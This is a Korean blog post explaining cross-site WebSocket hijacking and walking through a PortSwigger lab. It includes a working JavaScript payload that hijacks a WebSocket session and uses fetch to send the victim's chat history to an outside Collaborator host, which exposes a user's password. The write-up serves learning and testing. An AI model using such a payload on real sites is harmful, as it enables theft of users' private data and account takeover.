본문 바로가기
INCOGNITO 2023

[WebSocket] Cross-site WebSocket hijacking

by hezin* 2024. 2. 4.

Cross-site WebSocket hijacking

 

Cross-site WebSocket hijacking 는 WebSocket handshake의 CSRF 취약점이 포함된다. 

WebSocket 핸드셰이크 요청이 세션 처리를 위해, HTTP 쿠키에만 의존하고, CSRF 토큰 또는 기타 예측할 수 없는 값을 포함하지 않을때 발생한다.

공격자는 자신의 도메인에 악성 웹페이지를 만들어, 취약한 애플리케이션에 대한 사이트 간 WebSocket 연결을 설정할 수 있다. 응용 프로그램은 응용 프로그램과 피해자 사용자의 세션 컨텍스트에서 연결을 처리한다.

그런 다음, 공격자의 페이지는 연결을 통해 서버에 임의의 메시지를 보내고, 서버에서 다시 받은 메시지의 내용을 읽을 수 있다. 

즉, 일반 CSRF와 달리 공격자는 손상된 애플리케이션과 양방향 상호 작용을 얻는다.

 

+) CSRF 취약점

: 공격자가 사용자가 의도하지 않은 작업을 수행하도록 유도할 수 있는 웹 보안 취약점이다.

이를 통해서 공격자는 서로 다른 웹사이트가 서로 간섭하는 것을 방지하도록 설계된 동일한 출처 정책을 부분적으로 우회할 수 있다. 이 공격이 성공하게 되면 공격자는 피해자 사용자가 의도치 않게 작업을 수행하도록 한다.

 

CSRF(교차 사이트 요청 위조)란 무엇입니까? 튜토리얼 & 예제 | 웹 시큐리티 아카데미 (portswigger.net)

 

What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF ...

portswigger.net

 

 

 

CSWSH 공격의 영향

-피해자 사용자로 가장한 무단 작업 수행

: 일반 CSRF와 마찬가지로 공격자는 서버 측 애플리케이션에 임의의 메시지를 보낼 수 있는데, 애플리케이션이 클라이언트에서 생성된 WebSocket 메시지를 사용하여 중요한 작업을 수행하는 경우, 공격자는 도메인 간에 적절한 메시지를 생성하고 해당 작업을 트리거할 수 있다.

 

-사용자가 액세스할 수 있는 중요한 데이터 검색

: CSWSH 공격은 하이재킹된 WebSocket을 통해 공격자에게 취약한 애플리케이션과의 양방향 상호 작용을 제공한다. 애플리케이션이 서버에서 생성된 WebSocket 메시지를 사용하여 사용자에게 중요한 데이터를 반환하는 경우, 공격자가 메세지를 가로채서 피해자 사용자의 데이터를 캡쳐할 수 있다.

 

 

 

CSWSH 공격 수행

 

CSWSH 공격은 기본적으로 WebSocket handshake에 대한 CSRF 취약점이므로, 공격 수행 첫번째 단계는 애플리케이션이 수행하는 WebSocket handshake를 검토하고, CSRF로부터 보호되는지 여부를 확인하는 것이다.

CSRF 공격의 일반적인 조건과 관련해서, 일반적으로 세션 처리를 위해 HTTP 쿠키에만 의존하고 요청 매개 변수에 토큰이나 기타 예측할 수 없는 값을 사용하지 않는 핸드셰이크 메시지를 찾아야한다.

 

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

 

위와 같은 WebSocket handshake 요청은 유일한 세션 토큰이 쿠키로 전송되기 때문에 CSRF에 취약할 수 있다.

쿠키에 적절한 CSRF 방어 매커니즘이 되어있지 않다면, 공격자가 CSRF를 이용하여 해당 세션 토큰을 가로채어 악의적인WebSocket handshake 요청을 서버로 전송할 수 있다.

Sec-WebSocket-Key 헤더에는 오류가 프록시를 캐싱하는 것을 방지하기 위한, 임의의 값이 포함되어 있고 인증 또는 세션 처리 목적으로 사용되지 않는다.

 

크로스 사이트 WebSocket 하이재킹 | 웹 시큐리티 아카데미 (portswigger.net)

 

Cross-site WebSocket hijacking | Web Security Academy

In this section, we'll explain cross-site WebSocket hijacking (CSWSH), describe the impact of a compromise, and spell out how to perform a cross-site ...

portswigger.net


Lab: Cross-site WebSocket hijacking

CSWSH 공격에 대한 실습은 Lab으로 진행한다.

 

WebSocket을 사용하여 구현된 라이브 채팅 기능이 있는 shop이 있다.

lab을 해결하려면, exploit server를 이용하여 사이트 간 Cross-site WebSocket hijacking attack을 사용하여 사용자의 채팅 기록을 유출하는 HTML/JavaScript payload를 호스팅한 다음에 얻은 계정으로 접근해야한다.

 

Lab에 접속하면 shop형태의 웹사이트이다.

웹사이트에 구현되있는 Live Chat 기능에 접속한다.

다른 사용자가 연결되었다는 메세지가 뜨고, 내가 채팅을 보내면 다른 사용자에게서 채팅이 오는 것을 확인할 수 있다.

 

 

다른 사용자가 보낸 메세지를 burp suite에서 intercept할 수 있다.

 

채팅 페이지를 다시 로드하면, 전에 보냈던 chat history를 가져오는 과정에서 READY라는 메세지가 잡힌다.

 

 

WebSocket History를 보면 READY 명령을 확인할 수 있다. READY 명령은 서버에서 과거 채팅 메시지를 검색한다.

 

websocket history에서 WebSocket 프로토콜을 통한 통신을 모니터링할 수 있다. 

 

 

핸드셰이크 요청을 보고 WebSocket이 어떻게 설정되었는지 확인한다. 그리고 요청의 url을 복사한다.

 

Request의 구성 요소를 살펴보면

-Host: 웹 서버의 호스트 이름 ,웹 서버가 WebSocket 연결을 처리할 도메인이나 IP 주소 지정

-Connection : 웹 서버와 클라이언트 간의 연결을 업그레이드하려는 의미, WebSocket 핸드셰이크에서는 항상 upgrade 이다

-Pragma:no-cache: 캐시 제어 관련 헤더, 요청을 처리할 때 캐시를 사용하지 말아야함을 나타냄

-Cache-Control:no-cache: 캐시 제어 관련 헤더, 요청을 처리할 때 캐시를 사용하지 말아야함

-Upgrade:websocket:

: 연결을 Websocket으로 업그레이드하라는 의미. Websocket 핸드셰이크에서는 이 항목이 반드시 websocket으로 설정되어 있어야 한다. 

-Origin: 웹 페이지가 WebSocket 핸드셰이크를 시작한 출처, 일반적으로 이 값은 요청을 보내는 페이지의 출처를 나타낸다

- Cookie: session

: 클라이언트의 세션 식별자, 웹 서버는 클라이언트를 식별하고 해당 세션에 연결된 정보를 유지한다.

- Sec-Websocket-Key:

: WebSocket 핸드셰이크에 사용되는 보안키, 클라이언트가 서버에게 무작위로 생성된 키를 보내고 서버는 이를 특정 알고리즘을 사용하여 응답한다. 이 키는 WebSocket 연결의 보안을 강화하는데 사용된다.

 

이 요청을 보면 Cookie: session 기능이 있는데, 지금 여기에는 CSRF 토큰이 없다.

CSRF토큰이 없으면 세션 쿠키만으로 사용자의 세션을 탈취하거나 공격자가 의도한 동작을 수행할 수 있게 된다.

 

 

Status Code

1. 101 Switching Protocols

: 웹 소켓과 같은 프로토콜 전환을 나타내는 상태 코드, 클라이언트가 업그레이드를 요청하고 서버가 이를 수락하여 프로토콜을 변경하였음을 나타낸다.

2. 200 OK

: 성공적인 요청에 대한 응답

3. 400 Bad Request

: 클라이언트의 요청이 잘못된 구문 또는 요청이 이해되지 않을 때 반환된다.

 

 

그리고 Collaboator에서 생성된 payload의 주소를 복사한다.

 

위의 요청에서 확인했듯이, /chat에 대한 GET요청에서 세션 쿠키만 사용하고 CSRF 토큰을 사용하지 않거나, 요청 매개변수에 예측할 수 없는 값을 사용했기 때문에 CSRF 공격에 취약하다는 사실을 알 수 있다.

WebSocket handshake 요청이 CSRF 에 취약한 경우에 공격자의 웹 페이지는 취약한 사이트에서  websocket를 열기위해 CSRF를 수행할 수 있다. 

exploit 서버에서 공격 코드를 작성한다.

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

코드를 살펴보면 

 

1.WebSocket 생성

2.onopen 이벤트 핸들러

: WebSocket 연결이 열릴 때 호출되는 이벤트 핸들러를 설정한다. 연결이 열리면 'READY' 메시지를 서버로 전송한다.

3.onmessage 이벤트 핸들러

: 서버에서 메세지를 수신했을 때 호출되는 이벤트 핸들러를 설정한다. 수신된 메세지는 event.data에서 추출되고, 해당 데이터를 'fetch' 함수를 사용하여 collaborator에서 복사한 페이로드 주소로 POST 요청한다.

4.fetch 함수

: 네트워크 요청을 생성하고 반환하는 자바스크립트 API이다. collaborator-url로 POST 요청을 보내고, CORS를 사용하지 않고 수신한 데이터를 요청 본문으로 설정한다.

 

해당 공격으로 인해서 채팅 기록을 성공적으로 검색하여 Collaborator을 통해 유출된 것을 확인할  수 있다.

채팅에서 이루어진 메세지에 대해 Collaborator는 HTTP요청을 받았다. 받은 요청들은 순서는 뒤바뀌어있는 경우는 있지만 채팅 메세지의 모든 내용이 포함되어 있다.

 

받은 메세지를 확인하고 polling을 진행하다 보면, 다른 사용자의 채팅까지도 확인할 수 있다.

내용을 보면 사용자가 패스워드를 잊었다는 내용의 채팅이다.

그리고 다른 메세지를 확인해보면 상담사가 carlos의 비밀번호를 채팅을 통해 carlos에게 보낸 것을 확인할 수 있다.

 

이러한 과정을 통해, carlos의 password가 노출되어 그의 id로 로그인할 수 있게 되었다.